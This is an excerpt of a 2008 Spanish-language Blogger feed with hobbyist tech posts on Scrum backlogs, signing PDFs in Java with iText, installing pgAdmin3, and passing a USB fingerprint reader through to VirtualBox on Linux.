link's&lt;br /&gt;&lt;br /&gt;• http://agilemanifesto.org/&lt;br /&gt;• http://www.mountaingoatsoftware.com/scrum&lt;br /&gt;• http://www.xprogramming.com/xpmag/whatisxp.htm&lt;br /&gt;&lt;br /&gt;Sino, no importa, veremos la forma practica de implementar scrum rapidamente, bueno eso es en realidad, imprimir energia y rapidez al desarrollo de software.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pila de producto.&lt;/span&gt;&lt;br /&gt;La pila de producto es el corazón de Scrum, y simplemente es la priorización de los requisitos que debe tener una aplicación solicitada por el cliente.&lt;br /&gt;A esta lista de requisitos le llamamos historias, o funcionalidades, o lo que sea. Cosas que el cliente quiere, descritas usando la terminología del cliente. Llamamos a esto historias, o a veces simplemente elementos de la Pila.&lt;br /&gt;Esta pila de requisitos puede ser escrita en una planilla excel de manera simple para que el cliente la entienda en su lenguaje natural, dejamos de lado aqui los administradores de tareas como Jira u otros bug-tracker.&lt;br /&gt;&lt;br /&gt;Para hacerlo simple y productivo nuestra pila de producto (lista priorizada de requisitos) contiene los siguientes campos:&lt;br /&gt;&lt;br /&gt;• &lt;span style="font-weight: bold;"&gt;ID &lt;/span&gt;– un identificador único, simplemente un número auto-incremental.   Esto nos permite no perder la pista a las historias cuando cambiamos su nombre.&lt;br /&gt;• &lt;span style="font-weight: bold;"&gt;Nombre&lt;/span&gt; – una descripción corta de la historia. Por ejemplo, “Ver tu historial de transacciones”. Suficientemente claro como para que el Dueño de Producto comprenda aproximadamente de qué estamos&lt;br /&gt;hablando, y suficientemente clara como para distinguirla de las otras historias. Normalmente, 2 a 10 palabras.&lt;br /&gt;• &lt;span style="font-weight: bold;"&gt;Importancia&lt;/span&gt; – el ratio de importancia que el Dueño de Producto da a esta historia. Por ejemplo, 10. O 150. Más alto = más importante. Suelo evitar el término “prioridad” porque típicamente “1” se considera la&lt;br /&gt;“máxima prioridad, lo que es muy incómodo si posteriormente decides que algo es más importante. ¿Qué prioridad le daríamos a ese nuevo elemento? ¿Prioridad 0? ¿Prioridad -1?&lt;br /&gt;• &lt;span style="font-weight: bold;"&gt;Estimación inicial&lt;/span&gt; – la valoración inicial del Equipo acerca de cuanto trabajo es necesario para implementar la historia, comparada con otras historias. La unidad son “puntos de historia” y usualmente corresponde a “días-persona ideales”. Lo importante no es que las estimaciones absolutas sean correctas (es decir, que una historia de 2 puntos deba durar 2 días), lo importante es que las estimaciones relativas&lt;br /&gt;sean correctas (es decir, que una historia de 2 puntos debería durar la mitad que una historia de 4 puntos).&lt;br /&gt;• &lt;span style="font-weight: bold;"&gt;Como probarlo&lt;/span&gt; – una descripción a alto nivel de como se demostrará esta historia en la Demo al final del Sprint. Se trata, esencialmente, de una simple especificación de un test: “Haz esto, entonces haz lo otro, y&lt;br /&gt;entonces debería ocurrir aquello”. Si practicas TDD (Test-Driven Development, desarrollo orientado a test) esta descripción puede usarse como pseudo-código para vuestro test de aceptación.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;• Notas&lt;/span&gt; – cualquier otra información, clarificación, referencia a otras&lt;br /&gt;fuentes de información, etc. Normalmente muy breve.&lt;br /&gt;&lt;br /&gt;Ejemplo de Pila de Producto:&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SQYiqnvghxI/AAAAAAAAAJ0/0TH5bXC-eP8/s1600-h/scrum1_pila.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 86px;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SQYiqnvghxI/AAAAAAAAAJ0/0TH5bXC-eP8/s320/scrum1_pila.gif" alt="" id="BLOGGER_PHOTO_ID_5261931330247100178" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Sigamos, vemos en la tabla anterior la implementación de una pila de producto simple, falta completar campos, como la estimación, prueba y notas, estos deben ser completados en conjunto con el equipo Scrum (equipo de desarrollo).&lt;/p&gt;&lt;br /&gt;En la practica se pueden agregar otros campos, pero a la larga estos son los mas recurrentes tras los Sprint.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Como mantenemos la Pila de Producto a nivel de negocio&lt;/span&gt;.&lt;br /&gt;Si el Dueño de Producto tiene una formación técnica, puede que añada historias del tipo “añadir índices a la tabla de eventos”. ¿Por qué quiere algo así? El auténtico objetivo probablemente será algo como “aligerar el formulario de búsqueda de eventos en el backoffice” (con un índice).&lt;br /&gt;Puede ocurrir que los índices no fueran el cuello de botella que hiciera al formulario ir lento. Puede que fuera algo completamente diferente. El equipo está normalmente mejor capacitado para averiguar como resolver algo, así que el Dueño de Producto debería concentrarse en los objetivos de negocio y no en modificarnos la pila luego de los requisitos ya vistos y entregados.&lt;br /&gt;&lt;br /&gt;Pronto, va la segunda parte de este doc. de Scrum.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-7358101303932028201?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/7358101303932028201/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=7358101303932028201' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/7358101303932028201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/7358101303932028201'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/10/scrum-y-xp-1.html' title='Scrum y XP (1)'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-ixaLQDJLhI/SQYiqnvghxI/AAAAAAAAAJ0/0TH5bXC-eP8/s72-c/scrum1_pila.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-6889505705295572891</id><published>2008-10-09T16:18:00.006-04:00</published><updated>2008-10-10T12:22:41.904-04:00</updated><title type='text'>Firma digital de PDF</title><content type='html'>Hola, muchas veces para nuestros sistemas debemos resguardar la integridad de los documentos almacenados en nuestros repositorios, ya sean word, pdf u otros.&lt;br /&gt;&lt;br /&gt;Esto lo podemos realizar agregando la firma digital a los documentos, y una manera de hacerlo es mediante las apis de Java, las que nos proveen los metodos apropiados para la firma avanzada de documentos PDF.&lt;br /&gt;&lt;br /&gt;Avanzada, porque el mismo Acrobar Reader valida la integridad del documento  y la firma digital, ademas de agregar la capacidad de usar nuestro propio certificado pfx.&lt;br /&gt;&lt;br /&gt;En el siguiente ejemplo veremos como firmar digitalmente un documento PDF.&lt;br /&gt;&lt;br /&gt;1.- Debemos contar con algún certificado pfx valido en nuestro sistema.&lt;br /&gt;&lt;br /&gt;Si ya contamos con este certificado  PKCS12 (. &lt;em&gt;pfx&lt;/em&gt;) procedemos con el ejemplo.&lt;br /&gt;&lt;br /&gt;primero vamos a nuestro ide eclipse para Java creamos una clase con el siguiente código.&lt;br /&gt;&lt;br /&gt;import java.io.File;&lt;br /&gt;import java.io.FileInputStream;&lt;br /&gt;import java.io.FileOutputStream;&lt;br /&gt;import java.security.KeyStore;&lt;br /&gt;import java.security.PrivateKey;&lt;br /&gt;import java.security.cert.Certificate;&lt;br /&gt;import com.lowagie.text.pdf.PdfReader;&lt;br /&gt;import com.lowagie.text.pdf.PdfStamper;&lt;br /&gt;import com.lowagie.text.pdf.PdfSignatureAppearance;&lt;br /&gt;&lt;br /&gt;public class FirmarPDF {&lt;br /&gt;&lt;br /&gt;public static void main (String [] args) throws Exception{&lt;br /&gt;             KeyStore ks = KeyStore.getInstance("pkcs12");&lt;br /&gt;       ks.load(new FileInputStream("/home/slack/mycert.pfx"), "quaker77".toCharArray());&lt;br /&gt;       String alias = (String) ks.aliases().nextElement();&lt;br /&gt;       PrivateKey key = (PrivateKey) ks.getKey(alias, "quaker77".toCharArray());&lt;br /&gt;       Certificate[] chain = ks.getCertificateChain(alias);&lt;br /&gt;       PdfReader reader = new PdfReader("/home/slack/0X/ccu/documento_inicial_req.pdf");&lt;br /&gt;       FileOutputStream fout = new FileOutputStream("/home/slack/compartido/documento_firmado2.pdf"); &lt;br /&gt;       PdfStamper stp = PdfStamper.createSignature(reader, fout, '\0', new File("/tmp"));&lt;br /&gt;                   PdfSignatureAppearance sap = stp.getSignatureAppearance();&lt;br /&gt;                   sap.setCrypto(key, chain, null, PdfSignatureAppearance.WINCER_SIGNED);&lt;br /&gt;                   sap.setReason("Prueba de firma digital con iText");&lt;br /&gt;                   sap.setLocation("Chile");&lt;br /&gt;                   sap.setContact("Empresa Chile");&lt;br /&gt;       stp.close();&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Debemos contar con las librerias necesarias que se importan en la clase.&lt;br /&gt;&lt;br /&gt;En el código vemos que tenemos un archivo pdf de entrada y otro de salida, pero este ultimo va firmado.&lt;br /&gt;&lt;br /&gt;La firma digital de documentos PDF la valida Adobe Acrobat, que es capaz de procesar y validar esta información.&lt;br /&gt;&lt;br /&gt;Para verificar visualmente que el documento de salida esta firmado vemos las siguientes caracteristicas en el nuevo documento en acrobat reader.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SO5tAFaWW6I/AAAAAAAAAJs/JvDE8Oy8CMg/s1600-h/Pantallazo_firmaPDF.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SO5tAFaWW6I/AAAAAAAAAJs/JvDE8Oy8CMg/s320/Pantallazo_firmaPDF.gif" alt="" id="BLOGGER_PHOTO_ID_5255257663408069538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bueno, este en un ejemplo practico para firmar pdf con Java.&lt;br /&gt;&lt;br /&gt;Ahora faltaría agregar esta implementación a una aplicación web para clientes.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-6889505705295572891?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/6889505705295572891/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=6889505705295572891' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6889505705295572891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6889505705295572891'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/10/firma-digital-de-pdf.html' title='Firma digital de PDF'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-ixaLQDJLhI/SO5tAFaWW6I/AAAAAAAAAJs/JvDE8Oy8CMg/s72-c/Pantallazo_firmaPDF.gif' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-2102442510063053902</id><published>2008-10-03T12:00:00.005-04:00</published><updated>2008-10-03T12:34:53.411-04:00</updated><title type='text'>Instalar pgadmin3 en Linux</title><content type='html'>Hola, cuando necesitamos administrar un PostgreSql o MySql de manera amigable, muchas veces ocupamos algún administrador grafico, yo he utilizado mucho webmin como administrador de base de datos PostgreSql y MySql, sin embargo para utilizar Webmin necesitas que la maquina donde residen las bases de datos lo tenga instalado y tener habilitado el puerto 10000.&lt;br /&gt;&lt;br /&gt;Pero que ocurre cuando esa maquina no cuenta con Webmin. Tenemos 2 opciones, una es solicitar la instalación de Webmin y otra en utilizar en este caso PgAdmin3.&lt;br /&gt;&lt;br /&gt;Por defecto las distribuciones Linux no lo traen instalado, pero si esta en los repositorio del source.list, por lo tanto abrimos una consola y lo buscamos con apt de la siguiente forma.&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$ &lt;span style="font-weight: bold;"&gt;apt-cache search pgadmin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;pgadmin3&lt;/span&gt; - graphical administration tool for PostgreSQL&lt;br /&gt;pgadmin3-data - graphical administration tool for PostgreSQL - documentation&lt;br /&gt;pgagent - job scheduler for PostgreSQL&lt;br /&gt;phppgadmin - Set of PHP scripts to administrate PostgreSQL over the WWW&lt;br /&gt;postgresql-contrib-8.2 - additional facilities for PostgreSQL&lt;br /&gt;postgresql-contrib-8.3 - additional facilities for PostgreSQL&lt;br /&gt;&lt;br /&gt;En el listado de resultado vemos que el primer paquete corresponde a lo que buscamos, por lo tanto procedemos con apt-get a su instalación en nuestro sistema.&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$&lt;span style="font-weight: bold;"&gt; sudo apt-get install pgadmin3&lt;/span&gt;&lt;br /&gt;[sudo] password for slack:&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias   &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt;libwxbase2.8-0 libwxgtk2.8-0 pgadmin3-data&lt;br /&gt;Paquetes recomendados&lt;br /&gt;pgagent&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt;libwxbase2.8-0 libwxgtk2.8-0 pgadmin3 pgadmin3-data&lt;br /&gt;0 actualizados, 4 se instalarán, 0 para eliminar y 12 no actualizados.&lt;br /&gt;Necesito descargar 8381kB de archivos.&lt;br /&gt;Se utilizarán 24,0MB de espacio de disco adicional después de desempaquetar.&lt;br /&gt;¿Desea continuar [S/n]? &lt;span style="font-weight: bold;"&gt;S&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Confirmamos con &lt;span style="font-weight: bold;"&gt;S&lt;/span&gt; la descarga del paquete PgAdmin3 y continua su instalación.&lt;br /&gt;&lt;br /&gt;Des:1 http://cl.archive.ubuntu.com hardy/universe libwxbase2.8-0 2.8.7.1-0ubuntu3 [675kB]&lt;br /&gt;Des:2 http://cl.archive.ubuntu.com hardy/universe libwxgtk2.8-0 2.8.7.1-0ubuntu3 [3500kB]&lt;br /&gt;Des:3 http://cl.archive.ubuntu.com hardy/universe pgadmin3-data 1.8.2-0ubuntu1 [1070kB]                                                                                        &lt;br /&gt;Des:4 http://cl.archive.ubuntu.com hardy/universe pgadmin3 1.8.2-0ubuntu1 [3136kB]                                                                                             &lt;br /&gt;Descargados 8381kB en 23s (358kB/s)                                                                                                                                            &lt;br /&gt;Seleccionando el paquete libwxbase2.8-0 previamente no seleccionado.&lt;br /&gt;(Leyendo la base de datos ...&lt;br /&gt;160747 ficheros y directorios instalados actualmente.)&lt;br /&gt;Desempaquetando libwxbase2.8-0 (de .../libwxbase2.8-0_2.8.7.1-0ubuntu3_i386.deb) ...&lt;br /&gt;Seleccionando el paquete libwxgtk2.8-0 previamente no seleccionado.&lt;br /&gt;Desempaquetando libwxgtk2.8-0 (de .../libwxgtk2.8-0_2.8.7.1-0ubuntu3_i386.deb) ...&lt;br /&gt;Seleccionando el paquete pgadmin3-data previamente no seleccionado.&lt;br /&gt;Desempaquetando pgadmin3-data (de .../pgadmin3-data_1.8.2-0ubuntu1_all.deb) ...&lt;br /&gt;Seleccionando el paquete pgadmin3 previamente no seleccionado.&lt;br /&gt;Desempaquetando pgadmin3 (de .../pgadmin3_1.8.2-0ubuntu1_i386.deb) ...&lt;br /&gt;Configurando libwxbase2.8-0 (2.8.7.1-0ubuntu3) ...&lt;br /&gt;&lt;br /&gt;Configurando libwxgtk2.8-0 (2.8.7.1-0ubuntu3) ...&lt;br /&gt;&lt;br /&gt;Configurando pgadmin3-data (1.8.2-0ubuntu1) ...&lt;br /&gt;Configurando pgadmin3 (1.8.2-0ubuntu1) ...&lt;br /&gt;&lt;br /&gt;Processing triggers for libc6 ...&lt;br /&gt;ldconfig deferred processing now taking place&lt;br /&gt;slack@slacktop:~$&lt;br /&gt;&lt;br /&gt;El log nos dice que ya esta ok la instalación, ahora lo vamos a ejecutar, lo podemos hacer directamente por consola escribiendo pgadmin3 y enter o podemos encontrar pgadmin en el menú del sistema: Aplicaciones --&gt; Herramientas del Sistema.&lt;br /&gt;&lt;br /&gt;para el ejemplo lo abriremos por consola.&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$&lt;span style="font-weight: bold;"&gt; pgadmin3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Esto abre el siguiente entornos grafico de pgadmin3.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SOZGPQ3WwYI/AAAAAAAAAJU/vAfe8VjWDZk/s1600-h/Pantallazo-pgAdmin+III.gif"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SOZGPQ3WwYI/AAAAAAAAAJU/vAfe8VjWDZk/s320/Pantallazo-pgAdmin+III.gif" alt="" id="BLOGGER_PHOTO_ID_5252963243413389698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;Hacemos click con el mouse en el icono de conexion lo que nos abre la siguiente ventana donde tenemos que ingresar los datos de conexión a las base de datos, para este ejemplo lo estoy apuntando a mi local, sin embargo se puede apuntar a otra ip.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SOZIjZHqAxI/AAAAAAAAAJc/qexQ-U46mHI/s1600-h/Pantallazo-New+Server+Registration.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SOZIjZHqAxI/AAAAAAAAAJc/qexQ-U46mHI/s320/Pantallazo-New+Server+Registration.gif" alt="" id="BLOGGER_PHOTO_ID_5252965788249883410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Hacemos click en Aceptar y nos despliega el contenido de nuetro Postgre Local, como muestra la figura.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SOZJXiq4ajI/AAAAAAAAAJk/fGHy6ZBGK-A/s1600-h/Pantallazo-pgadmin.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SOZJXiq4ajI/AAAAAAAAAJk/fGHy6ZBGK-A/s320/Pantallazo-pgadmin.gif" alt="" id="BLOGGER_PHOTO_ID_5252966684166744626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Podemos apuntar a una ip remota, siempre y cuando el puerto 5432 de Postgre este aceptando conexiones.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-2102442510063053902?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/2102442510063053902/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=2102442510063053902' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2102442510063053902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2102442510063053902'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/10/instalar-pgadmin3-en-linux.html' title='Instalar pgadmin3 en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_-ixaLQDJLhI/SOZGPQ3WwYI/AAAAAAAAAJU/vAfe8VjWDZk/s72-c/Pantallazo-pgAdmin+III.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-6382865120376060105</id><published>2008-08-19T11:51:00.003-04:00</published><updated>2008-08-19T12:21:16.524-04:00</updated><title type='text'>Montar un FingerPrint reader USB en VirtualBox</title><content type='html'>Hola, con los avances tecnologicos y nuevos desarrollos es necesario ocupar las ultimas tecnologías para los sistemas web, las que nos permiten poder desarrollar aplicaciones que se integran con dispositivos de hardware, y que aveces en linux no contamos con los driver.&lt;br /&gt;&lt;br /&gt;Bueno en mi caso tengo sobre linux corriendo VirtualBox de Sun, y en el tengo Ventanukos XP (lease Windows XP), tengo ademas en el ventanukos una aplicación que ocupa componentes ActiveX y un lote de archivos dll, aunque no son elegantes y no se les ve mucho futuro debemos utilizarlos para nuestras aplicaciones.&lt;br /&gt;&lt;br /&gt;La aplicación cuenta con un formulario web, el cual contiene un componente ActiveX que se conecta con un dispositivo usb, este dispositivo es un FingerPrinter, es decir contiene una pantalla, un lapiz y un lector de huellas dactilares. Debido a esto debo correrlo en ventanukos XP.&lt;br /&gt;&lt;br /&gt;Por defecto VirtualBox no reconoce los dispositivos USB, y menos un FingerPrinter.&lt;br /&gt;&lt;br /&gt;Por lo tanto me he dado la paja de investigar un poco el VirtualBox para que lo reconozca.&lt;br /&gt;&lt;br /&gt;Leyendo, he resuelto el tema de la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.-&lt;/span&gt; Primero debo habilitar la lectura y permisos de los USB en los archivos de configuración de VirtualBox, para comenzar, vamos a la consola y escribimos lo siguiente:&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$ &lt;span style="font-weight: bold;"&gt;sudo gedit /etc/init.d/mountdevsubfs.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;con este comando entramos a editar el archivo &lt;span style="font-weight: bold;"&gt;mountdevsubfs.sh, &lt;/span&gt;y descomentamos las siguientes lineas:&lt;br /&gt;&lt;br /&gt;   #&lt;br /&gt;   # Magic to make /proc/bus/usb work&lt;br /&gt;   #&lt;br /&gt;   #mkdir -p /dev/bus/usb/.usbfs&lt;br /&gt;   #domount usbfs "" /dev/bus/usb/.usbfs -obusmode=0700,devmode=0600,listmode=0644&lt;br /&gt;   #ln -s .usbfs/devices /dev/bus/usb/devices&lt;br /&gt;   #mount --rbind /dev/bus/usb /proc/bus/usb&lt;br /&gt;&lt;br /&gt;Quedando de la siguiente forma:&lt;br /&gt;&lt;br /&gt;   #&lt;br /&gt;   # Magic to make /proc/bus/usb work&lt;br /&gt;   #&lt;br /&gt;   mkdir -p /dev/bus/usb/.usbfs&lt;br /&gt;   domount usbfs "" /dev/bus/usb/.usbfs -obusmode=0700,devmode=0600,listmode=0644&lt;br /&gt;   ln -s .usbfs/devices /dev/bus/usb/devices&lt;br /&gt;   mount --rbind /dev/bus/usb /proc/bus/usb&lt;br /&gt;&lt;br /&gt;Guardamos los cambios y cerramos Gedit.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.-&lt;/span&gt; Luego debemos modificar otro archivo para agregar permisos al dipositivo, lo hacemos ingresando el siguiente comando.&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$ &lt;span style="font-weight: bold;"&gt;sudo gedit /etc/udev/rules.d/40-permissions.rules&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Modificamos lo siguiente:&lt;br /&gt;&lt;br /&gt;# Block devices&lt;br /&gt;SUBSYSTEM!="block", GOTO="block_end"&lt;br /&gt;ATTRS{removable}!="1",         GROUP="disk"&lt;br /&gt;ATTRS{removable}=="1",       GROUP="floppy"&lt;br /&gt;SUBSYSTEMS=="usb",              GROUP="plugdev"&lt;br /&gt;&lt;br /&gt;Quedando de la siguiente forma:&lt;br /&gt;&lt;br /&gt;# Block devices&lt;br /&gt;SUBSYSTEM!="block", GOTO="block_end"&lt;br /&gt;ATTRS{removable}!="1",      GROUP="disk"&lt;br /&gt;ATTRS{removable}=="1",    GROUP="floppy"&lt;br /&gt;SUBSYSTEMS=="usb",          &lt;span style="font-weight: bold;"&gt; &lt;/span&gt;MODE="0666"     GROUP="plugdev"&lt;br /&gt;&lt;br /&gt;Notese que agregamos al dispósitivo USB el &lt;span style="font-weight: bold;"&gt;MODE="666"&lt;/span&gt;, con esto le damos permiso al dispositivo para ser ejecutado.&lt;br /&gt;&lt;br /&gt;Tambien modificamos el parrafo USB serial converter, como se ve:&lt;br /&gt;&lt;br /&gt;# USB serial converters&lt;br /&gt;SUBSYSTEM=="usb_device", GOTO="usb_serial_start"&lt;br /&gt;SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", GOTO="usb_serial_start"&lt;br /&gt;GOTO="usb_serial_end"&lt;br /&gt;&lt;br /&gt;Dejandolo de la siguiente forma:&lt;br /&gt;&lt;br /&gt;# USB serial converters&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SUBSYSTEM=="usb_device", MODE="0666"&lt;/span&gt;&lt;br /&gt;#SUBSYSTEM=="usb_device", GOTO="usb_serial_start"&lt;br /&gt;SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", GOTO="usb_serial_start"&lt;br /&gt;GOTO="usb_serial_end"&lt;br /&gt;&lt;br /&gt;Solo comentamos la linea que habia anteriormente y la incluimos modificada.&lt;br /&gt;&lt;br /&gt;Cerramos Gedit y vamos al fstab.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.-&lt;/span&gt; A continuación debemos agregar el montaje de los USB al archivo FSTAB, vamos a la consola nuevamente:&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$ &lt;span style="font-weight: bold;"&gt;sudo gedit /etc/fstab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Este comando abre Gedit con la información de los dispositivos y unidades que monta Linux por defecto. agregamos al final la siguiente linea:&lt;br /&gt;&lt;br /&gt;#usbfs&lt;br /&gt;usbfs /proc/bus/usb usbfs devgid=1001,devmode=666 0 0&lt;br /&gt;&lt;br /&gt;Con esto le decimos que monte el dispositivo USB con modo de permiso 666 de ejecucion.&lt;br /&gt;&lt;br /&gt;Y listo.&lt;br /&gt;&lt;br /&gt;Ahora solo debemos ejecutar el montado de lo que configuramos, si no queremos reiniciar la maquina podemos ingresar el siguiente comando por consola:&lt;br /&gt;&lt;br /&gt;slack@slacktop:~$ &lt;span style="font-weight: bold;"&gt;sudo mount -a&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora fui al VirtualBox, conecte el USB FingerPrinter y lo reconocio al choque&lt;br /&gt;&lt;br /&gt;Creo que no debemos tener ningun problema para trabajar correctamente con el VentanukosXP sobre VirtaulBox de Sun y este sobre Linux ah.. q tal&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-6382865120376060105?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/6382865120376060105/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=6382865120376060105' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6382865120376060105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6382865120376060105'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/08/montar-un-fingerprint-reader-usb-en.html' title='Montar un FingerPrint reader USB en VirtualBox'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-6986675857156949909</id><published>2008-07-30T15:11:00.005-04:00</published><updated>2008-12-19T15:20:03.916-03:00</updated><title type='text'>Instalar Oracle 10g Express Edition</title><content type='html'>Hola, en algunas aplicaciones cuando el  motor de base de datos es oracle y en nuestro desarrollo local no contamos con Oracle, podemos instalar una version free para Linux 